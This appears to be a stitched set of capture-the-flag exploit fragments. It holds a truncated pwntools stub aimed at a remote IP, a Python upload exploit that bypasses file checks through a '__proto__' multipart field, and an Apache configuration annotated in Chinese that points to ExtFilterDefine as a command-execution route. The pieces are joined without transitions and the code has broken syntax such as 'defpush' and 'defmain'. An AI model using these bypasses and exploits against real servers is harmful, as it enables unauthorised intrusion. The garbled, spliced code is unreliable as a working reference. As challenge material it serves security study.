from pwn import * context.log_level = 'DEBUG' # sh = process('./lvm') sh = remote("101.132.235.138",1337) libc = ELF('./libc-2.31.so') len = 0 defpush(num): global len payload ="" payload += str(1) + '\n' payload += str(num) + '\n' len +=1 return payload defstore(idx): global len
defmain(): ## STEP 1 get formid if you need uplaod_url1 = "http://{}:{}/".format(target_ip, target_upload_port) r = requests.get(uplaod_url1) form_id = r.text.split("action='")[1].split("'")[0] real_form_id = form_id.split('/upload?formid=')[1] print("you should use this id: ",real_form_id)
## STEP 2 upload error file # 方法 1 多文件上传绕过 """ # real_form_id = upload_file upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,real_form_id) upload_file_id = real_form_id files = { real_form_id : open(normal_file,'r'), real_form_id : open(upload_file,'r'), } # need uplaod 2 same name file as bad request # 可以这么发包 塞入两个文件 但是很显然 这里前一个文件会被后一个文件盖掉 # 倒是强行可以通过 自己定义写多部分 来进行上传 但是代码复用度不好 # 所以你会发现 你最后只上传了一个文件 """ # 方法 2 proto 大魔法 upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,"1") files = { "__proto__": open(upload_file,"r"), "decoy":("decoy","random"), } """ 原理参照一个小哥 在 discord 中发的内容: 如下 the __proto__ file is not checked because Object.keys does not include properties from the prototype, but since the prototype is now an array we can use formid=1 to access that file again in the upload function """ r2 = requests.post(upload_url2,files=files) print_request(r2) print_response(r2)
# This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See http://httpd.apache.org/docs/2.4/ for detailed information about # the directives and /usr/share/doc/apache2/README.Debian about Debian specific # hints. # # # Summary of how the Apache 2 configuration works in Debian: # The Apache 2 web server configuration in Debian is quite different to # upstream's suggested way to configure the web server. This is because Debian's # default Apache2 installation attempts to make adding and removing modules, # virtual hosts, and extra configuration directives as flexible as possible, in # order to make automating the changes and administering the server as easy as # possible.
# It is split into several files forming the configuration hierarchy outlined # below, all located in the /etc/apache2/ directory: # # /etc/apache2/ # |-- apache2.conf # | `-- ports.conf # |-- mods-enabled # | |-- *.load # | `-- *.conf # |-- conf-enabled # | `-- *.conf # `-- sites-enabled # `-- *.conf # # # * apache2.conf is the main configuration file (this file). It puts the pieces # together by including all remaining configuration files when starting up the # web server. # # * ports.conf is always included from the main configuration file. It is # supposed to determine listening ports for incoming connections which can be # customized anytime. # # * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ # directories contain particular configuration snippets which manage modules, # global configuration fragments, or virtual host configurations, # respectively. # # They are activated by symlinking available configuration files from their # respective *-available/ counterparts. These should be managed by using our # helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See # their respective man pages for detailed information. # # * The binary is called apache2. Due to the use of environment variables, in # the default configuration, apache2 needs to be started/stopped with # /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not # work with the default configuration.
# Global configuration #
# # ServerRoot: The top of the directory tree under which the server's # configuration, error, and log files are kept. # # NOTE! If you intend to place this on an NFS (or otherwise network) # mounted filesystem then please read the Mutex documentation (available # at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>); # you will save yourself a lot of trouble. # # Do NOT add a slash at the end of the directory path. # #ServerRoot "/etc/apache2"
# # The accept serialization lock file MUST BE STORED ON A LOCAL DISK. # #Mutex file:${APACHE_LOCK_DIR} default
# # The directory where shm and other runtime files will be stored. #
DefaultRuntimeDir ${APACHE_RUN_DIR}
# # PidFile: The file in which the server should record its process # identification number when it starts. # This needs to be set in /etc/apache2/envvars # PidFile ${APACHE_PID_FILE}
# # Timeout: The number of seconds before receives and sends time out. # Timeout 300
# # KeepAlive: Whether or not to allow persistent connections (more than # one request per connection). Set to "Off" to deactivate. # KeepAlive On
# # MaxKeepAliveRequests: The maximum number of requests to allow # during a persistent connection. Set to 0 to allow an unlimited amount. # We recommend you leave this number high, for maximum performance. # MaxKeepAliveRequests 100
# # KeepAliveTimeout: Number of seconds to wait for the next request from the # same client on the same connection. # KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars User ${APACHE_RUN_USER} Group ${APACHE_RUN_GROUP}
# # HostnameLookups: Log the names of clients or just their IP addresses # e.g., www.apache.org (on) or 204.62.129.132 (off). # The default is off because it'd be overall better for the net if people # had to knowingly turn this feature on, since enabling it means that # each client request will result in AT LEAST one lookup request to the # nameserver. # HostnameLookups Off
# ErrorLog: The location of the error log file. # If you do not specify an ErrorLog directive within a <VirtualHost> # container, error messages relating to that virtual host will be # logged here. If you *do* define an error logfile for a <VirtualHost> # container, that host's errors will be logged there and not here. # ErrorLog ${APACHE_LOG_DIR}/error.log # 这种地方是写不了的
# # LogLevel: Control the severity of messages logged to the error_log. # Available values: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the log level for particular modules, e.g. # "LogLevel info ssl:warn" # LogLevel warn
# Include module configuration: IncludeOptional mods-enabled/*.load IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does # not allow access to the root filesystem outside of /usr/share and /var/www. # The former is used by web applications packaged in Debian, # the latter may be used for local directories served by the web server. If # your system is serving content from a sub-directory in /srv you must allow # access here, or in any related virtual host. <Directory /> Options FollowSymLinks AllowOverride ALL Require all denied </Directory>
<Directory /usr/share> AllowOverride ALL Require all granted </Directory>
<Directory /var/www/> Options Indexes FollowSymLinks AllowOverride ALL Require all granted </Directory>
# AccessFileName: The name of the file to look for in each directory # for additional configuration directives. See also the AllowOverride # directive. # AccessFileName .htaccess
# # The following lines prevent .htaccess and .htpasswd files from being # viewed by Web clients. # <FilesMatch "^\.ht"> Require all denied </FilesMatch>
# # The following directives define some format nicknames for use with # a CustomLog directive. # # These deviate from the Common Log Format definitions in that they use %O # (the actual bytes sent including headers) instead of %b (the size of the # requested file), because the latter makes it impossible to detect partial # requests. # # Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. # Use mod_remoteip instead. # LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %O" common LogFormat "%{Referer}i -> %U" referer LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files, # see README.Debian for details. ExtFilterDefine gzip mode=output cmd=/bin/gzip # 这个比较有东西哦 可以看到有命令执行了那么套用类似 PHP Mail bypass disable func 的思路进行利用
# Include generic snippets of statements IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations: IncludeOptional sites-enabled/*.conf
# 还是 为了好看 defprint_request(response): print("request form") print("=========================================================") print(response.request.method, response.request.url) for header_key in response.request.headers.keys(): print("{}: {}".format(header_key, response.request.headers[header_key])) body = response.request.body if body == None: print("") else: print( body ) print("=========================================================")
defprint_response(response): print("response form") print("=========================================================") print(response.status_code, response.url) for header_key in response.headers.keys(): print("{}: {}".format(header_key, response.headers[header_key])) print("") print(response.text) print("=========================================================")